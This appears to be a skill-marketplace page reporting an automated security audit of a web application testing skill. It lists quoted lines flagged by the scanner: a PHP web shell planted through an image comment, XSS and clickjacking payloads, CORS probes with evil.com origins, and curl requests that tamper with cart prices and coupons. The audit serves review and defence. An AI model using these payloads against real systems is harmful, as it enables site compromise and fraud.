wstg-logic-client-api
Facilitates comprehensive business logic, client-side, and API security testing to identify vulnerabilities and ensure robust application security.
Install this skill
Security score
The wstg-logic-client-api skill was audited on May 24, 2026 and we found 77 security issues across 3 threat categories, including 1 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
Eval function call - arbitrary code execution
| 118 | eval() |
System command execution
| 84 | # Create with: exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg |
Curl to non-GitHub URL
| 16 | curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":-1,"price":100}' |
Curl to non-GitHub URL
| 19 | curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":0.001}' |
Curl to non-GitHub URL
| 22 | curl -X POST https://TARGET/api/checkout -d '{"item_id":1,"price":0.01}' |
Curl to non-GitHub URL
| 25 | curl -X POST https://TARGET/api/checkout -d '{"amount":100,"currency":"JPY"}' |
Curl to non-GitHub URL
| 29 | curl -X POST https://TARGET/api/apply-coupon -d '{"code":"SAVE50","code":"SAVE50"}' |
Curl to non-GitHub URL
| 39 | curl -s -H "Cookie: session=TOKEN" https://TARGET/checkout/confirm |
Curl to non-GitHub URL
| 42 | curl -X POST https://TARGET/checkout -d '{"step":3,"complete":true}' |
Curl to non-GitHub URL
| 60 | curl -s -X POST https://TARGET/api/redeem \ |
Curl to non-GitHub URL
| 67 | curl -s -X POST https://TARGET/api/vote -d '{"post_id":1}' \ |
Curl to non-GitHub URL
| 80 | curl -X POST https://TARGET/upload \ |
Curl to non-GitHub URL
| 89 | curl -X POST https://TARGET/upload -F "[email protected]" |
Curl to non-GitHub URL
| 170 | curl -sI https://TARGET | grep -i "x-frame-options\|content-security-policy" |
Curl to non-GitHub URL
| 199 | curl -sI https://TARGET/api/data -H "Origin: https://evil.com" | grep -i "access-control" |
Curl to non-GitHub URL
| 204 | curl -sI https://TARGET/api/data -H "Origin: null" | grep -i "access-control" |
Curl to non-GitHub URL
| 208 | curl -sI https://TARGET/api/data -H "Origin: https://evil.TARGET" | grep -i "access-control" |
Curl to non-GitHub URL
| 211 | curl -sI https://TARGET/api/data -H "Origin: https://TARGETevil.com" | grep -i "access-control" |
Curl to non-GitHub URL
| 212 | curl -sI https://TARGET/api/data -H "Origin: https://evil-TARGET" | grep -i "access-control" |
Curl to non-GitHub URL
| 225 | curl -s https://TARGET/swagger.json |
Curl to non-GitHub URL
| 226 | curl -s https://TARGET/openapi.json |
Curl to non-GitHub URL
| 227 | curl -s https://TARGET/api-docs |
Curl to non-GitHub URL
| 228 | curl -s https://TARGET/swagger/v1/swagger.json |
Curl to non-GitHub URL
| 229 | curl -s https://TARGET/v1/api-docs |
Curl to non-GitHub URL
| 230 | curl -s https://TARGET/.well-known/openapi.json |
Curl to non-GitHub URL
| 235 | curl -s -o /dev/null -w "%{http_code}" -X $method https://TARGET/api/endpoint |
Curl to non-GitHub URL
| 240 | curl -s https://TARGET/api/v1/users |
Curl to non-GitHub URL
| 241 | curl -s https://TARGET/api/v2/users |
Curl to non-GitHub URL
| 242 | curl -s -H "Accept: application/vnd.api.v1+json" https://TARGET/api/users |
Curl to non-GitHub URL
| 249 | curl -s -X POST https://TARGET/graphql \ |
Curl to non-GitHub URL
| 254 | curl -s -X POST https://TARGET/graphql \ |
Curl to non-GitHub URL
| 259 | curl -s -X POST https://TARGET/graphql \ |
Curl to non-GitHub URL
| 264 | curl -s -X POST https://TARGET/graphql \ |
Curl to non-GitHub URL
| 295 | GET_RESPONSE=$(curl -s https://TARGET/api/profile -H "Cookie: session=TOKEN") |
Curl to non-GitHub URL
| 298 | curl -X PUT https://TARGET/api/profile \ |
External URL reference
| 16 | curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":-1,"price":100}' |
External URL reference
| 19 | curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":0.001}' |
External URL reference
| 22 | curl -X POST https://TARGET/api/checkout -d '{"item_id":1,"price":0.01}' |
External URL reference
| 25 | curl -X POST https://TARGET/api/checkout -d '{"amount":100,"currency":"JPY"}' |
External URL reference
| 29 | curl -X POST https://TARGET/api/apply-coupon -d '{"code":"SAVE50","code":"SAVE50"}' |
External URL reference
| 39 | curl -s -H "Cookie: session=TOKEN" https://TARGET/checkout/confirm |
External URL reference
| 42 | curl -X POST https://TARGET/checkout -d '{"step":3,"complete":true}' |
External URL reference
| 54 | -X POST https://TARGET/api/send-otp -d '{"phone":"1234567890"}' |
External URL reference
| 60 | curl -s -X POST https://TARGET/api/redeem \ |
External URL reference
| 67 | curl -s -X POST https://TARGET/api/vote -d '{"post_id":1}' \ |
External URL reference
| 80 | curl -X POST https://TARGET/upload \ |
External URL reference
| 89 | curl -X POST https://TARGET/upload -F "[email protected]" |
External URL reference
| 92 | # <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> |
External URL reference
| 145 | https://TARGET/page#<img src=x onerror=alert(1)> |
External URL reference
| 146 | https://TARGET/page#javascript:alert(1) |
External URL reference
| 149 | https://TARGET/page?q=<script>alert(1)</script> |
External URL reference
| 150 | https://TARGET/search?term=test" onmouseover="alert(1) |
External URL reference
| 162 | // <iframe src="https://TARGET" id="target"></iframe> |
External URL reference
| 170 | curl -sI https://TARGET | grep -i "x-frame-options\|content-security-policy" |
External URL reference
| 174 | # <iframe src="https://TARGET/sensitive-action" style="opacity:0.1" width="500" height="500"></iframe> |
External URL reference
| 199 | curl -sI https://TARGET/api/data -H "Origin: https://evil.com" | grep -i "access-control" |
External URL reference
| 200 | # Vulnerable if: Access-Control-Allow-Origin: https://evil.com |
External URL reference
| 204 | curl -sI https://TARGET/api/data -H "Origin: null" | grep -i "access-control" |
External URL reference
| 208 | curl -sI https://TARGET/api/data -H "Origin: https://evil.TARGET" | grep -i "access-control" |
External URL reference
| 211 | curl -sI https://TARGET/api/data -H "Origin: https://TARGETevil.com" | grep -i "access-control" |
External URL reference
| 212 | curl -sI https://TARGET/api/data -H "Origin: https://evil-TARGET" | grep -i "access-control" |
External URL reference
| 225 | curl -s https://TARGET/swagger.json |
External URL reference
| 226 | curl -s https://TARGET/openapi.json |
External URL reference
| 227 | curl -s https://TARGET/api-docs |
External URL reference
| 228 | curl -s https://TARGET/swagger/v1/swagger.json |
External URL reference
| 229 | curl -s https://TARGET/v1/api-docs |
External URL reference
| 230 | curl -s https://TARGET/.well-known/openapi.json |
External URL reference
| 235 | curl -s -o /dev/null -w "%{http_code}" -X $method https://TARGET/api/endpoint |
External URL reference
| 240 | curl -s https://TARGET/api/v1/users |
External URL reference
| 241 | curl -s https://TARGET/api/v2/users |
External URL reference
| 242 | curl -s -H "Accept: application/vnd.api.v1+json" https://TARGET/api/users |
External URL reference
| 249 | curl -s -X POST https://TARGET/graphql \ |
External URL reference
| 254 | curl -s -X POST https://TARGET/graphql \ |
External URL reference
| 259 | curl -s -X POST https://TARGET/graphql \ |
External URL reference
| 264 | curl -s -X POST https://TARGET/graphql \ |
External URL reference
| 295 | GET_RESPONSE=$(curl -s https://TARGET/api/profile -H "Cookie: session=TOKEN") |
External URL reference
| 298 | curl -X PUT https://TARGET/api/profile \ |